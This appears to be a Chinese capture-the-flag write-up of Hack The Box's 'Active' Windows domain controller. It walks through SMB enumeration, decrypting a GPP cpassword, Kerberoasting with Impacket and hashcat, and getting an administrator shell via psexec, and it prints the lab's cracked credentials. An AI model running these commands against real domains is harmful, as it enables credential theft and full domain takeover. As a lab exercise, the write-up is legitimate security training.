0x00 前言
本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第三篇,靶机名字为Active
0x01 信息搜集
首先我们使用nmap来进行端口与服务的发现
Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-10 14:36:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -2s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-10-10T14:37:41
|_ start_date: 2022-10-10T13:18:30
通过nmap以上列出的结果来看这是一台 Windows 主机,我将尝试SMB枚举
我们可以看到smbmap
非常清楚地给出了这个结果,结果显示我在没有身份验证的情况下对复制共享目录具有读取权限:
root@kali2020:~/HTB/active# smbmap -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
0x02 GPP密码解密
每当创建新的组策略首选项 (GPP) 时,都会在 SYSVOL 共享中创建一个带有该配置数据的 xml 文件,包括与 GPP 关联的任何密码。为安全起见,Microsoft将密码存储为cpassword
. 但随后微软在 MSDN 上公布了密钥!,微软在 2014 年发布了一个补丁,阻止管理员将密码输入 GPP。但是该补丁对已经存在的这些易破解密码没有任何作用。
接着我使用smbclient尝试访问该目录的文件,我注意到一个名为Groups.xml
的文件
smbclient //10.10.10.100/Replication -U ""%""
通过查看该文件的内容,我发现了SC_TGS用户及其GPP密码
active.htb\SVC_TGS
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
由于密钥是已知的,所以我们可以解密密码。Kali上的工具gpp-decrypt
可以用来解密:
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
现在我们拿到了一个域用户的账号和明文密码,接下来我们再来尝试通过该用户枚举一下SMB
active.htb\SVC_TGS
GPPstillStandingStrong2k18
crackmapexec smb 10.10.10.100 -u "active.htb\SVC_TGS" -p "GPPstillStandingStrong2k18" --shares
smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18
把user.txt下载到本地然后即可拿到普通用户的flag
0x03 kerberoasting攻击
基础概念补充:Kerberoasting攻击中涉及的相关概念:https://rootdse.org/posts/active-directory-security-2/
**kerberoasting攻击原理:**
在开始 Kerberoasting 之前,让我们先了解一下这种攻击的实际工作原理。Kerberoasting 是流行的 AD Kerberos 攻击之一,Kerberoasting 是一种允许攻击者窃取使用 RC4 加密的 KRB_TGS 票证的技术,以暴力破解应用程序服务哈希以提取其密码。
在此攻击中,从Active Directory中提取服务帐户的凭据哈希并离线破解。我们需要确定哪些帐户是kerberoastable,然后作为经过身份验证的用户,我们可以为目标服务帐户请求服务票证 (TGS),而无需向运行服务的目标服务器发送任何流量。 如下图所示,kerberoasting 专注于从 KDC 请求 TGS。 此攻击仅涉及下图中突出显示的步骤 3 和 4。
我们可以使用Impacket 中的脚本GetUserSPNs.py
来获取与SVC_TGS用户帐户相关联的服务的用户名列表,并且我们得到了一张服务票证 (TGS)
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
接下来我们把获取到的TGS票证,保存到一个名为hash的文件中,然后使用hashcat进行破解
hashcat --example-hashes |grep krb5tgs -A5 -B5 #查看我们破解该票据要调用的模块
hashcat -m 13100 hash /root/rockyou.txt --force #开始破解
通过上图可以看到此时我们已经拿到了管理员的明文密码Ticketmaster1968
我们可以使用 Impacket 工具包中的psexec.py拿到一个远程shell
psexec.py Administrator:Ticketmaster1968@10.10.10.100
0x04 总结
本篇文章到这里就结束了,这里做个简单的总结,首先通过对SMB枚举发现了我们发现在没有身份验证的情况下对复制共享目录具有读取权限,然后发现了Group.xml文件中的GPP密码,通过对GPP密码的解密,我们得到了SVC_TGS账号的明文密码,然后又通过该用户的身份进行了kerberoasting攻击,并使用hashcat成功破解了该票据,拿到了Administrator用户的明文密码,又通过psexec成功登陆到了用户Administrator上拿到了管理员的权限。
0x05参考资料
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN
https://rootdse.org/posts/active-directory-security-2/